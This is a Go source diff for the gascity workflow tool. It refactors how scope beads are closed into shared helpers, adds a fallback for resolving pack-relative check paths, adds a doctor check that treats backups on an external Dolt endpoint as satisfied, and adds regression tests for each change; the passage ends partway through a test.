@@ -149,6 +149,105 @@ func TestResolveRalphCheckMoleculePaths_UnsafeRootID(t *testing.T) {
 	}
 }
 
+// TestRunRalphCheckPackRelativeCheckPathWorkDirFallback covers
+// gastownhall/gascity#3008: a pack-relative gc.check_path
+// (e.g. assets/<pack>/scripts/check.sh) names a pack-shipped script that lives
+// under the store/city root, not the per-task gc.work_dir worktree. When the
+// control bead carries a work_dir pointing at a worktree that lacks the pack
+// tree, the relative join <work_dir>/assets/... does not exist and the check
+// was control-quarantined. The fallback resolves the relative path against the
+// store root instead, so the gate is evaluated.
+func TestRunRalphCheckPackRelativeCheckPathWorkDirFallback(t *testing.T) {
+	cityPath := t.TempDir()
+	// Pack-shipped check script lives under the city/store root.
+	checkRel := filepath.Join("assets", "demo-pack", "scripts", "check.sh")
+	storeScript := filepath.Join(cityPath, checkRel)
+	if err := os.MkdirAll(filepath.Dir(storeScript), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(storeScript, []byte("#!/bin/sh\nexit 0\n"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	// Per-task worktree under the city root that does NOT contain the pack tree.
+	workDir := filepath.Join(cityPath, "worktrees", "task1")
+	if err := os.MkdirAll(workDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	store := beads.NewMemStore()
+	root := mustCreate(t, store, beads.Bead{Title: "workflow", Metadata: map[string]string{"gc.kind": "workflow"}})
+	control := mustCreate(t, store, beads.Bead{
+		Title: "review loop",
+		Metadata: map[string]string{
+			"gc.kind":         "ralph",
+			"gc.root_bead_id": root.ID,
+			"gc.check_path":   filepath.ToSlash(checkRel),
+			"gc.work_dir":     workDir,
+			"gc.max_attempts": "3",
+		},
+	})
+	subject := mustCreate(t, store, beads.Bead{
+		Title:    "review loop iteration 1",
+		Metadata: map[string]string{"gc.kind": "scope", "gc.root_bead_id": root.ID},
+	})
+
+	result, err := runRalphCheck(store, control, subject, 1, ProcessOptions{CityPath: cityPath})
+	if err != nil {
+		t.Fatalf("runRalphCheck: %v (the pack-relative check_path should fall back to the store root)", err)
+	}
+	if result.Outcome != convergence.GatePass {
+		t.Fatalf("Outcome = %q (stderr=%q), want pass via store-root fallback", result.Outcome, result.Stderr)
+	}
+}
+
+// TestRunRalphCheckWorkDirRelativeCheckPathKeepsPrecedence guards that the
+// #3008 fallback only fires when the work_dir join is missing: a check_path
+// that DOES exist under the worktree must still resolve against the worktree,
+// not the store root.
+func TestRunRalphCheckWorkDirRelativeCheckPathKeepsPrecedence(t *testing.T) {
+	cityPath := t.TempDir()
+	checkRel := "check.sh"
+	// Same relative name exists in both the store root and the worktree; the
+	// worktree copy must win. Distinguish them by exit code.
+	if err := os.WriteFile(filepath.Join(cityPath, checkRel), []byte("#!/bin/sh\nexit 7\n"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+	workDir := filepath.Join(cityPath, "worktrees", "task1")
+	if err := os.MkdirAll(workDir, 0o755); err != nil {
+		t.Fatal(err)
+	}
+	if err := os.WriteFile(filepath.Join(workDir, checkRel), []byte("#!/bin/sh\nexit 0\n"), 0o755); err != nil {
+		t.Fatal(err)
+	}
+
+	store := beads.NewMemStore()
+	root := mustCreate(t, store, beads.Bead{Title: "workflow", Metadata: map[string]string{"gc.kind": "workflow"}})
+	control := mustCreate(t, store, beads.Bead{
+		Title: "review loop",
+		Metadata: map[string]string{
+			"gc.kind":         "ralph",
+			"gc.root_bead_id": root.ID,
+			"gc.check_path":   checkRel,
+			"gc.work_dir":     workDir,
+			"gc.max_attempts": "3",
+		},
+	})
+	subject := mustCreate(t, store, beads.Bead{
+		Title:    "review loop iteration 1",
+		Metadata: map[string]string{"gc.kind": "scope", "gc.root_bead_id": root.ID},
+	})
+
+	result, err := runRalphCheck(store, control, subject, 1, ProcessOptions{CityPath: cityPath})
+	if err != nil {
+		t.Fatalf("runRalphCheck: %v", err)
+	}
+	// The worktree copy exits 0 (pass); the store copy exits 7 (fail). A pass
+	// proves the worktree script ran, i.e. the fallback did not shadow it.
+	if result.Outcome != convergence.GatePass {
+		t.Fatalf("Outcome = %q (stderr=%q), want pass from the worktree-relative script", result.Outcome, result.Stderr)
+	}
+}
+
 // TestRunRalphCheckEnvTracksSubject pins gastownhall/gascity#2558 review
 // feedback: GC_BEAD_ID and the molecule/artifact dirs must describe the SAME
 // bead. The per-attempt agent runs on the subject (attempt) bead and writes
diff --git a/internal/dispatch/runtime.go b/internal/dispatch/runtime.go
index 3982b3c9ba..81108d1144 100644
--- a/internal/dispatch/runtime.go
+++ b/internal/dispatch/runtime.go
@@ -257,36 +257,8 @@ func processScopeCheck(store beads.Store, bead beads.Bead, opts ProcessOptions)
 			if err != nil {
 				return ControlResult{}, err
 			}
-			if err := tracePhaseErr(opts, bead.ID, "propagate-metadata", func() error {
-				return snapshot.propagateScopeMemberMetadata(store, body.ID)
-			}); err != nil {
-				return ControlResult{}, fmt.Errorf("%s: propagating scope metadata: %w", bead.ID, err)
-			}
-			outputJSON, err := tracePhase(opts, bead.ID, "resolve-output", func() (string, error) {
-				return snapshot.resolveScopeOutputJSON(subject)
-			})
-			if err != nil {
-				return ControlResult{}, fmt.Errorf("%s: resolving scope output: %w", bead.ID, err)
-			}
-			if outputJSON != "" {
-				if err := tracePhaseErr(opts, bead.ID, "write-output", func() error {
-					return store.SetMetadata(body.ID, beadmeta.OutputJSONMetadataKey, outputJSON)
-				}); err != nil {
-					return ControlResult{}, fmt.Errorf("%s: propagating scope output: %w", body.ID, err)
-				}
-			}
-			bodyAfter, getErr := tracePhase(opts, bead.ID, "reload-body", func() (beads.Bead, error) {
-				return store.Get(body.ID)
-			})
-			if getErr != nil {
-				return ControlResult{}, fmt.Errorf("%s: reloading scope body: %w", body.ID, getErr)
-			}
-			if bodyAfter.Status != "closed" {
-				if err := tracePhaseErr(opts, bead.ID, "close-body", func() error {
-					return setOutcomeAndClose(store, body.ID, beadmeta.OutcomePass)
-				}); err != nil {
-					return ControlResult{}, fmt.Errorf("%s: completing scope body: %w", body.ID, err)
-				}
+			if err := closeScopeAsPassed(store, snapshot, subject, opts, bead.ID); err != nil {
+				return ControlResult{}, err
 			}
 			if err := tracePhaseErr(opts, bead.ID, "close-control", func() error {
 				return setOutcomeAndClose(store, bead.ID, beadmeta.OutcomePass)
@@ -317,21 +289,9 @@ func processScopeCheck(store beads.Store, bead beads.Bead, opts ProcessOptions)
 		if err != nil {
 			return ControlResult{}, err
 		}
-		skipped, err := tracePhase(opts, bead.ID, "skip-open-members", func() (int, error) {
-			return snapshot.skipOpenScopeMembers(store, bead.ID)
-		})
+		skipped, err := abortScope(store, snapshot, opts, bead.ID)
 		if err != nil {
-			return ControlResult{}, fmt.Errorf("%s: aborting scope: %w", bead.ID, err)
-		}
-		if err := tracePhaseErr(opts, bead.ID, "propagate-metadata", func() error {
-			return snapshot.propagateScopeMemberMetadata(store, body.ID)
-		}); err != nil {
-			return ControlResult{}, fmt.Errorf("%s: propagating scope metadata: %w", bead.ID, err)
-		}
-		if err := tracePhaseErr(opts, bead.ID, "close-body-fail", func() error {
-			return setOutcomeAndClose(store, body.ID, beadmeta.OutcomeFail)
-		}); err != nil {
-			return ControlResult{}, fmt.Errorf("%s: completing scope body: %w", body.ID, err)
+			return ControlResult{}, err
 		}
 		if err := tracePhaseErr(opts, bead.ID, "close-control", func() error {
 			return setOutcomeAndClose(store, bead.ID, beadmeta.OutcomePass)
@@ -353,39 +313,8 @@ func processScopeCheck(store beads.Store, bead beads.Bead, opts ProcessOptions)
 		if err != nil {
 			return ControlResult{}, err
 		}
-		// Propagate non-gc metadata from scope members to the scope body.
-		// This enables compositional metadata bubbling: attempt → retry →
-		// scope → ralph → parent scope, etc.
-		if err := tracePhaseErr(opts, bead.ID, "propagate-metadata", func() error {
-			return snapshot.propagateScopeMemberMetadata(store, body.ID)
-		}); err != nil {
-			return ControlResult{}, fmt.Errorf("%s: propagating scope metadata: %w", bead.ID, err)
-		}
-		outputJSON, err := tracePhase(opts, bead.ID, "resolve-output", func() (string, error) {
-			return snapshot.resolveScopeOutputJSON(subject)
-		})
-		if err != nil {
-			return ControlResult{}, fmt.Errorf("%s: resolving scope output: %w", bead.ID, err)
-		}
-		if outputJSON != "" {
-			if err := tracePhaseErr(opts, bead.ID, "write-output", func() error {
-				return store.SetMetadata(body.ID, beadmeta.OutputJSONMetadataKey, outputJSON)
-			}); err != nil {
-				return ControlResult{}, fmt.Errorf("%s: propagating scope output: %w", body.ID, err)
-			}
-		}
-		bodyAfter, getErr := tracePhase(opts, bead.ID, "reload-body", func() (beads.Bead, error) {
-			return store.Get(body.ID)
-		})
-		if getErr != nil {
-			return ControlResult{}, fmt.Errorf("%s: reloading scope body: %w", body.ID, getErr)
-		}
-		if bodyAfter.Status != "closed" {
-			if err := tracePhaseErr(opts, bead.ID, "close-body", func() error {
-				return setOutcomeAndClose(store, body.ID, beadmeta.OutcomePass)
-			}); err != nil {
-				return ControlResult{}, fmt.Errorf("%s: completing scope body: %w", body.ID, err)
-			}
+		if err := closeScopeAsPassed(store, snapshot, subject, opts, bead.ID); err != nil {
+			return ControlResult{}, err
 		}
 		if err := tracePhaseErr(opts, bead.ID, "close-control", func() error {
 			return setOutcomeAndClose(store, bead.ID, beadmeta.OutcomePass)
@@ -415,6 +344,82 @@ func loadScopeSnapshotForControl(store beads.Store, rootID, scopeRef string, bod
 	return snapshot, nil
 }
 
+// closeScopeAsPassed runs the shared convergence sequence for a scope whose
+// members have all completed successfully: propagate non-gc.* member metadata
+// onto the scope body, resolve the scope's output_json from subject, then close
+// the body with outcome=pass (unless it is already closed). subject supplies the
+// output_json source and traceID identifies the bead driving the trace. The
+// caller owns closing its own control bead. This is the single implementation
+// shared by both processScopeCheck branches and reconcileTerminalScopedMember,
+// so every convergence observer closes a scope identically.
+func closeScopeAsPassed(store beads.Store, snapshot scopeSnapshot, subject beads.Bead, opts ProcessOptions, traceID string) error {
+	bodyID := snapshot.body.ID
+	// Propagate non-gc metadata from scope members to the scope body. This
+	// enables compositional metadata bubbling: attempt → retry → scope →
+	// ralph → parent scope, etc.
+	if err := tracePhaseErr(opts, traceID, "propagate-metadata", func() error {
+		return snapshot.propagateScopeMemberMetadata(store, bodyID)
+	}); err != nil {
+		return fmt.Errorf("%s: propagating scope metadata: %w", traceID, err)
+	}
+	outputJSON, err := tracePhase(opts, traceID, "resolve-output", func() (string, error) {
+		return snapshot.resolveScopeOutputJSON(subject)
+	})
+	if err != nil {
+		return fmt.Errorf("%s: resolving scope output: %w", traceID, err)
+	}
+	if outputJSON != "" {
+		if err := tracePhaseErr(opts, traceID, "write-output", func() error {
+			return store.SetMetadata(bodyID, beadmeta.OutputJSONMetadataKey, outputJSON)
+		}); err != nil {
+			return fmt.Errorf("%s: propagating scope output: %w", bodyID, err)
+		}
+	}
+	bodyAfter, err := tracePhase(opts, traceID, "reload-body", func() (beads.Bead, error) {
+		return store.Get(bodyID)
+	})
+	if err != nil {
+		return fmt.Errorf("%s: reloading scope body: %w", bodyID, err)
+	}
+	if bodyAfter.Status != "closed" {
+		if err := tracePhaseErr(opts, traceID, "close-body", func() error {
+			return setOutcomeAndClose(store, bodyID, beadmeta.OutcomePass)
+		}); err != nil {
+			return fmt.Errorf("%s: completing scope body: %w", bodyID, err)
+		}
+	}
+	return nil
+}
+
+// abortScope runs the shared convergence sequence for a scope whose subject
+// failed: skip any still-open members, propagate non-gc.* member metadata (e.g.
+// review.verdict) onto the scope body so diagnostics survive failure auto-close,
+// then close the body with outcome=fail. It returns the number of members
+// skipped. traceID identifies the bead driving the trace and is also the id
+// ignored when skipping open members. The caller owns closing its own control
+// bead. This is the single implementation shared by processScopeCheck and
+// reconcileTerminalScopedMember.
+func abortScope(store beads.Store, snapshot scopeSnapshot, opts ProcessOptions, traceID string) (int, error) {
+	bodyID := snapshot.body.ID
+	skipped, err := tracePhase(opts, traceID, "skip-open-members", func() (int, error) {
+		return snapshot.skipOpenScopeMembers(store, traceID)
+	})
+	if err != nil {
+		return 0, fmt.Errorf("%s: aborting scope: %w", traceID, err)
+	}
+	if err := tracePhaseErr(opts, traceID, "propagate-metadata", func() error {
+		return snapshot.propagateScopeMemberMetadata(store, bodyID)
+	}); err != nil {
+		return 0, fmt.Errorf("%s: propagating scope metadata: %w", traceID, err)
+	}
+	if err := tracePhaseErr(opts, traceID, "close-body-fail", func() error {
+		return setOutcomeAndClose(store, bodyID, beadmeta.OutcomeFail)
+	}); err != nil {
+		return 0, fmt.Errorf("%s: completing scope body: %w", bodyID, err)
+	}
+	return skipped, nil
+}
+
 type scopeSnapshot struct {
 	rootID      string
 	scopeRef    string
@@ -1134,17 +1139,9 @@ func reconcileTerminalScopedMemberWithOptions(store beads.Store, bead beads.Bead
 		if err != nil {
 			return ControlResult{}, fmt.Errorf("%s: loading scope snapshot for %s: %w", bead.ID, scopeRef, err)
 		}
-		skipped, err := snapshot.skipOpenScopeMembers(store, bead.ID)
+		skipped, err := abortScope(store, snapshot, opts, bead.ID)
 		if err != nil {
-			return ControlResult{}, fmt.Errorf("%s: aborting scope: %w", bead.ID, err)
-		}
-		// Propagate non-gc.* member metadata (e.g., review.verdict) onto the
-		// scope body before closing, so diagnostics survive failure auto-close.
-		if err := snapshot.propagateScopeMemberMetadata(store, body.ID); err != nil {
-			return ControlResult{}, fmt.Errorf("%s: propagating scope metadata: %w", bead.ID, err)
-		}
-		if err := setOutcomeAndClose(store, body.ID, beadmeta.OutcomeFail); err != nil {
-			return ControlResult{}, fmt.Errorf("%s: completing scope body: %w", body.ID, err)
+			return ControlResult{}, err
 		}
 		return ControlResult{Processed: true, Action: "scope-fail", Skipped: skipped}, nil
 	}
@@ -1168,20 +1165,8 @@ func reconcileTerminalScopedMemberWithOptions(store beads.Store, bead beads.Bead
 	if err != nil {
 		return ControlResult{}, fmt.Errorf("%s: loading scope snapshot for %s: %w", bead.ID, scopeRef, err)
 	}
-	if err := snapshot.propagateScopeMemberMetadata(store, body.ID); err != nil {
-		return ControlResult{}, fmt.Errorf("%s: propagating scope metadata: %w", bead.ID, err)
-	}
-	outputJSON, err := snapshot.resolveScopeOutputJSON(bead)
-	if err != nil {
-		return ControlResult{}, fmt.Errorf("%s: resolving scope output: %w", bead.ID, err)
-	}
-	if outputJSON != "" {
-		if err := store.SetMetadata(body.ID, beadmeta.OutputJSONMetadataKey, outputJSON); err != nil {
-			return ControlResult{}, fmt.Errorf("%s: propagating scope output: %w", body.ID, err)
-		}
-	}
-	if err := setOutcomeAndClose(store, body.ID, beadmeta.OutcomePass); err != nil {
-		return ControlResult{}, fmt.Errorf("%s: completing scope body: %w", body.ID, err)
+	if err := closeScopeAsPassed(store, snapshot, bead, opts, bead.ID); err != nil {
+		return ControlResult{}, err
 	}
 	return ControlResult{Processed: true, Action: "scope-pass"}, nil
 }
diff --git a/internal/dispatch/runtime_test.go b/internal/dispatch/runtime_test.go
index c10792768c..5edc6c8de1 100644
--- a/internal/dispatch/runtime_test.go
+++ b/internal/dispatch/runtime_test.go
@@ -9624,3 +9624,178 @@ func TestProcessWorkflowFinalize_PurgeOnMissingDir(t *testing.T) {
 		t.Fatalf("result = %+v, want processed", result)
 	}
 }
+
+// TestCloseScopeAsPassedSharedConvergence exercises the single scope-close
+// helper that both processScopeCheck branches and reconcileTerminalScopedMember
+// now share: propagate non-gc.* member metadata onto the body, write the
+// resolved output_json, and close the body pass unless it is already closed.
+func TestCloseScopeAsPassedSharedConvergence(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name           string
+		bodyStatus     string
+		wantCloseTrace bool
+	}{
+		{name: "open body closes pass", bodyStatus: "open", wantCloseTrace: true},
+		{name: "already closed body is not re-closed", bodyStatus: "closed", wantCloseTrace: false},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+			store := beads.NewMemStore()
+			workflow := mustCreateWorkflowBead(t, store, beads.Bead{
+				Title:    "workflow",
+				Type:     "task",
+				Metadata: map[string]string{"gc.kind": "workflow", "gc.formula_contract": "graph.v2"},
+			})
+			body := mustCreateWorkflowBead(t, store, beads.Bead{
+				Title:  "body",
+				Type:   "task",
+				Status: tc.bodyStatus,
+				Metadata: map[string]string{
+					"gc.kind":         "scope",
+					"gc.scope_role":   "body",
+					"gc.root_bead_id": workflow.ID,
+					"gc.scope_ref":    "body",
+					"gc.step_ref":     "demo.body",
+				},
+			})
+			subject := mustCreateWorkflowBead(t, store, beads.Bead{
+				Title:  "member",
+				Type:   "task",
+				Status: "closed",
+				Metadata: map[string]string{
+					"gc.root_bead_id": workflow.ID,
+					"gc.scope_ref":    "body",
+					"gc.scope_role":   "member",
+					"gc.outcome":      "pass",
+					"gc.output_json":  `{"verdict":"approved"}`,
+					"review.verdict":  "done",
+				},
+			})
+
+			snapshot, err := loadScopeSnapshotWithBody(store, workflow.ID, "body", body)
+			if err != nil {
+				t.Fatalf("loadScopeSnapshotWithBody: %v", err)
+			}
+			var trace bytes.Buffer
+			opts := ProcessOptions{Tracef: func(format string, args ...any) {
+				fmt.Fprintf(&trace, format+"\n", args...) //nolint:errcheck // test buffer
+			}}
+			if err := closeScopeAsPassed(store, snapshot, subject, opts, subject.ID); err != nil {
+				t.Fatalf("closeScopeAsPassed: %v", err)
+			}
+
+			bodyAfter := mustGetBead(t, store, body.ID)
+			if bodyAfter.Status != "closed" {
+				t.Fatalf("body status = %q, want closed", bodyAfter.Status)
+			}
+			// Member metadata and output_json bubble onto the body regardless of
+			// whether the body was already closed.
+			if got := bodyAfter.Metadata["review.verdict"]; got != "done" {
+				t.Fatalf("body review.verdict = %q, want done", got)
+			}
+			if got := bodyAfter.Metadata["gc.output_json"]; got != `{"verdict":"approved"}` {
+				t.Fatalf("body gc.output_json = %q, want approved payload", got)
+			}
+			if tc.wantCloseTrace {
+				if got := bodyAfter.Metadata["gc.outcome"]; got != "pass" {
+					t.Fatalf("body outcome = %q, want pass", got)
+				}
+			}
+
+			traceText := trace.String()
+			for _, want := range []string{"phase=propagate-metadata", "phase=resolve-output", "phase=write-output", "phase=reload-body"} {
+				if !strings.Contains(traceText, want) {
+					t.Fatalf("trace missing %q:\n%s", want, traceText)
+				}
+			}
+			gotClose := strings.Contains(traceText, "phase=close-body ")
+			if gotClose != tc.wantCloseTrace {
+				t.Fatalf("close-body trace present=%v, want %v:\n%s", gotClose, tc.wantCloseTrace, traceText)
+			}
+		})
+	}
+}
+
+// TestAbortScopeSharedConvergence exercises the single scope-abort helper shared
+// by processScopeCheck and reconcileTerminalScopedMember: skip still-open
+// members, propagate closed-member metadata onto the body, and close the body
+// fail.
+func TestAbortScopeSharedConvergence(t *testing.T) {
+	t.Parallel()
+
+	store := beads.NewMemStore()
+	workflow := mustCreateWorkflowBead(t, store, beads.Bead{
+		Title:    "workflow",
+		Type:     "task",
+		Metadata: map[string]string{"gc.kind": "workflow", "gc.formula_contract": "graph.v2"},
+	})
+	body := mustCreateWorkflowBead(t, store, beads.Bead{
+		Title: "body",
+		Type:  "task",
+		Metadata: map[string]string{
+			"gc.kind":         "scope",
+			"gc.scope_role":   "body",
+			"gc.root_bead_id": workflow.ID,
+			"gc.scope_ref":    "body",
+			"gc.step_ref":     "demo.body",
+		},
+	})
+	failed := mustCreateWorkflowBead(t, store, beads.Bead{
+		Title:  "failed member",
+		Type:   "task",
+		Status: "closed",
+		Metadata: map[string]string{
+			"gc.root_bead_id": workflow.ID,
+			"gc.scope_ref":    "body",
+			"gc.scope_role":   "member",
+			"gc.outcome":      "fail",
+			"review.verdict":  "blocked",
+		},
+	})
+	openMember := mustCreateWorkflowBead(t, store, beads.Bead{
+		Title: "open member",
+		Type:  "task",
+		Metadata: map[string]string{
+			"gc.root_bead_id": workflow.ID,
+			"gc.scope_ref":    "body",
+			"gc.scope_role":   "member",
+		},
+	})
+
+	snapshot, err := loadScopeSnapshotWithBody(store, workflow.ID, "body", body)
+	if err != nil {
+		t.Fatalf("loadScopeSnapshotWithBody: %v", err)
+	}
+	var trace bytes.Buffer
+	opts := ProcessOptions{Tracef: func(format string, args ...any) {
+		fmt.Fprintf(&trace, format+"\n", args...) //nolint:errcheck // test buffer
+	}}
+	skipped, err := abortScope(store, snapshot, opts, failed.ID)
+	if err != nil {
+		t.Fatalf("abortScope: %v", err)
+	}
+	if skipped != 1 {
+		t.Fatalf("skipped = %d, want 1", skipped)
+	}
+
+	bodyAfter := mustGetBead(t, store, body.ID)
+	if bodyAfter.Status != "closed" || bodyAfter.Metadata["gc.outcome"] != "fail" {
+		t.Fatalf("body = status %q outcome %q, want closed/fail", bodyAfter.Status, bodyAfter.Metadata["gc.outcome"])
+	}
+	if got := bodyAfter.Metadata["review.verdict"]; got != "blocked" {
+		t.Fatalf("body review.verdict = %q, want blocked", got)
+	}
+	openAfter := mustGetBead(t, store, openMember.ID)
+	if openAfter.Status != "closed" || openAfter.Metadata["gc.outcome"] != "skipped" {
+		t.Fatalf("open member = status %q outcome %q, want closed/skipped", openAfter.Status, openAfter.Metadata["gc.outcome"])
+	}
+
+	traceText := trace.String()
+	for _, want := range []string{"phase=skip-open-members", "phase=propagate-metadata", "phase=close-body-fail"} {
+		if !strings.Contains(traceText, want) {
+			t.Fatalf("trace missing %q:\n%s", want, traceText)
+		}
+	}
+}
diff --git a/internal/doctor/checks.go b/internal/doctor/checks.go
index 9ae0bfebbc..0f0f7d6a10 100644
--- a/internal/doctor/checks.go
+++ b/internal/doctor/checks.go
@@ -126,6 +126,11 @@ func (c *ConfigValidCheck) Run(_ *CheckContext) *CheckResult {
 		r.Message = fmt.Sprintf("rig validation: %v", err)
 		return r
 	}
+	if err := config.ValidateWebhooks(c.cfg.Webhooks); err != nil {
+		r.Status = StatusError
+		r.Message = fmt.Sprintf("webhook validation: %v", err)
+		return r
+	}
 	if err := config.ValidateServices(c.cfg.Services); err != nil {
 		r.Status = StatusError
 		r.Message = fmt.Sprintf("service validation: %v", err)
@@ -250,6 +255,11 @@ func (c *BuiltinPackFamilyCheck) Run(_ *CheckContext) *CheckResult {
 	if v := os.Getenv("GC_BEADS"); v != "" {
 		provider = v
 	}
+	if strings.EqualFold(strings.TrimSpace(c.cfg.Beads.Backend), "doltlite") {
+		r.Status = StatusOK
+		r.Message = "builtin bd/dolt pack family not required for doltlite backend"
+		return r
+	}
 	if !providerUsesBDDoltStore(provider) {
 		r.Status = StatusOK
 		r.Message = "builtin bd/dolt pack family not required"
diff --git a/internal/doctor/checks_dolt_backup.go b/internal/doctor/checks_dolt_backup.go
index 721383a1d2..6aa95d498d 100644
--- a/internal/doctor/checks_dolt_backup.go
+++ b/internal/doctor/checks_dolt_backup.go
@@ -9,7 +9,9 @@ import (
 	"path/filepath"
 	"strings"
 
+	"github.com/gastownhall/gascity/internal/beads/contract"
 	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/fsys"
 )
 
 // DoltBackupCheck verifies that a rig's Dolt database has a backup remote
@@ -60,6 +62,19 @@ func (c *DoltBackupCheck) Run(_ *CheckContext) *CheckResult {
 	r := &CheckResult{Name: c.Name()}
 
 	rigPath := c.normalizedRigPath()
+
+	// An external Dolt endpoint self-manages its backups on the remote server;
+	// the local .dolt-backup directory and managed-Dolt repo_state.json signals
+	// never apply to it, and the localhost fix hint below is actively wrong for
+	// it. Treat a resolved external endpoint as satisfied rather than warning.
+	// See gastownhall/gascity#3868. A resolution error falls through to the
+	// local-signal checks so a genuinely missing local backup still surfaces.
+	if target, err := contract.ResolveDoltConnectionTarget(fsys.OSFS{}, c.cityPath, rigPath); err == nil && target.External {
+		r.Status = StatusOK
+		r.Message = fmt.Sprintf("rig %q: external Dolt endpoint %s:%s — backups self-managed on the external server", c.rig.Name, target.Host, target.Port)
+		return r
+	}
+
 	dbName, details := c.resolveDBName(rigPath)
 	r.Details = append(r.Details, details...)
 	backupDir := filepath.Join(c.cityPath, ".dolt-backup", dbName)
diff --git a/internal/doctor/checks_dolt_backup_test.go b/internal/doctor/checks_dolt_backup_test.go
index 5af2701919..ab09ad53f2 100644
--- a/internal/doctor/checks_dolt_backup_test.go
+++ b/internal/doctor/checks_dolt_backup_test.go
@@ -247,3 +247,47 @@ func TestDoltBackupCheck_Name(t *testing.T) {
 		t.Errorf("Name() = %q, want %q", got, want)
 	}
 }
+
+// writeScopeConfig writes a minimal .beads/config.yaml for a scope (city or rig).
+func writeScopeConfig(t *testing.T, scopePath, body string) {
+	t.Helper()
+	beadsDir := filepath.Join(scopePath, ".beads")
+	if err := os.MkdirAll(beadsDir, 0o700); err != nil {
+		t.Fatalf("create .beads dir: %v", err)
+	}
+	if err := os.WriteFile(filepath.Join(beadsDir, "config.yaml"), []byte(body), 0o600); err != nil {
+		t.Fatalf("write config.yaml: %v", err)
+	}
+}
+
+// A rig whose Dolt lives on an external endpoint self-manages its backups on
+// that server; the local .dolt-backup / repo_state.json signals never apply, so
+// the check must not warn or emit a localhost fix hint. Regression for #3868.
+func TestDoltBackupCheck_ExternalEndpoint_NoWarn(t *testing.T) {
+	cityPath := t.TempDir()
+	doltDataDir := filepath.Join(cityPath, ".beads", "dolt")
+	rigPath := filepath.Join(cityPath, "rig")
+	if err := os.MkdirAll(rigPath, 0o700); err != nil {
+		t.Fatal(err)
+	}
+	writeRigMetadata(t, rigPath, "extdb")
+	writeScopeConfig(t, cityPath, "issue_prefix: gc\ngc.endpoint_origin: managed_city\ndolt.auto-start: false\n")
+	writeScopeConfig(t, rigPath, "issue_prefix: fe\ngc.endpoint_origin: explicit\ndolt.host: db.example.com\ndolt.port: \"3307\"\ndolt.auto-start: false\n")
+
+	rig := config.Rig{Name: "extrig", Path: rigPath}
+	c := NewDoltBackupCheck(cityPath, rig, doltDataDir)
+	r := c.Run(&CheckContext{CityPath: cityPath})
+
+	if r.Status != StatusOK {
+		t.Fatalf("status = %d, want StatusOK (external endpoint self-manages backups); msg=%q", r.Status, r.Message)
+	}
+	if !strings.Contains(r.Message, "external") {
+		t.Errorf("Message should note the external endpoint: %s", r.Message)
+	}
+	if !strings.Contains(r.Message, "db.example.com") {
+		t.Errorf("Message should name the external host: %s", r.Message)
+	}
+	if r.FixHint != "" {
+		t.Errorf("external endpoint must not emit a localhost fix hint: %s", r.FixHint)
+	}
+}
diff --git a/internal/doctor/checks_order_firing.go b/internal/doctor/checks_order_firing.go
index 9333e21212..5f0d456242 100644
--- a/internal/doctor/checks_order_firing.go
+++ b/internal/doctor/checks_order_firing.go
@@ -135,7 +135,7 @@ func (c *OrderFiringCurrentCheck) Run(ctx *CheckContext) *CheckResult {
 			blockingErrors++
 			continue
 		}
-		lastFired, err := c.latestOrderFiredAt(firedEvents, order)
+		lastFired, err := c.latestOrderFiredAt(firedEvents, order, expected, now)
 		if err != nil {
 			worst = worseStatus(worst, StatusError)
 			result.Details = append(result.Details, fmt.Sprintf("%s: cannot read order history: %v", orderDisplayName(order), err))
@@ -537,11 +537,14 @@ func latestControllerStartedAt(eventPath string) (time.Time, error) {
 	return latest, nil
 }
 
-func (c *OrderFiringCurrentCheck) latestOrderFiredAt(evts []events.Event, order orders.Order) (time.Time, error) {
+func (c *OrderFiringCurrentCheck) latestOrderFiredAt(evts []events.Event, order orders.Order, expected time.Duration, now time.Time) (time.Time, error) {
 	latest := latestOrderFiredAt(evts, order.ScopedName())
 	if c.lastRun == nil {
 		return latest, nil
 	}
+	if !latest.IsZero() && now.Sub(latest) < expected+expected/2 {
+		return latest, nil
+	}
 	runAt, err := c.lastRun(order)
 	if err != nil {
 		return time.Time{}, err
diff --git a/internal/doctor/checks_order_firing_test.go b/internal/doctor/checks_order_firing_test.go
index 65b30fb2d3..db78f88a0b 100644
--- a/internal/doctor/checks_order_firing_test.go
+++ b/internal/doctor/checks_order_firing_test.go
@@ -1,6 +1,7 @@
 package doctor
 
 import (
+	"fmt"
 	"io"
 	"os"
 	"path/filepath"
@@ -599,3 +600,62 @@ func runOrderFiringCurrentTest(t *testing.T, cfg *config.City, cityPath string,
 	check.clock = func() time.Time { return now }
 	return check.Run(&CheckContext{CityPath: cityPath})
 }
+
+func TestLatestOrderFiredAt_RecentEventSkipsLastRun(t *testing.T) {
+	now := time.Date(2026, 5, 17, 12, 0, 0, 0, time.UTC)
+	expected := 4 * time.Hour
+	order := orders.Order{Name: "cleanup-cooldown", Trigger: "cooldown"}
+	evts := []events.Event{
+		{Type: events.OrderFired, Subject: order.ScopedName(), Ts: now.Add(-1 * time.Hour)},
+	}
+
+	lastRunCalled := false
+	check := &OrderFiringCurrentCheck{
+		lastRun: func(orders.Order) (time.Time, error) {
+			lastRunCalled = true
+			return time.Time{}, fmt.Errorf("lastRun must not be consulted for a recent event")
+		},
+	}
+
+	got, err := check.latestOrderFiredAt(evts, order, expected, now)
+	if err != nil {
+		t.Fatalf("latestOrderFiredAt returned error: %v", err)
+	}
+	if lastRunCalled {
+		t.Fatalf("lastRun was consulted for an in-band event; want fast path to skip it")
+	}
+	if want := now.Add(-1 * time.Hour); !got.Equal(want) {
+		t.Fatalf("latest = %v, want %v (event timestamp)", got, want)
+	}
+}
+
+func TestLatestOrderFiredAt_StaleEventConsultsLastRun(t *testing.T) {
+	now := time.Date(2026, 5, 17, 12, 0, 0, 0, time.UTC)
+	expected := 4 * time.Hour
+	order := orders.Order{Name: "mol-dog-stale-db", Trigger: "cron"}
+	// Event age (13h) exceeds expected*1.5 (6h), so the fast path must not apply.
+	staleEvent := now.Add(-13 * time.Hour)
+	freshRun := now.Add(-1 * time.Hour)
+	evts := []events.Event{
+		{Type: events.OrderFired, Subject: order.ScopedName(), Ts: staleEvent},
+	}
+
+	lastRunCalled := false
+	check := &OrderFiringCurrentCheck{
+		lastRun: func(orders.Order) (time.Time, error) {
+			lastRunCalled = true
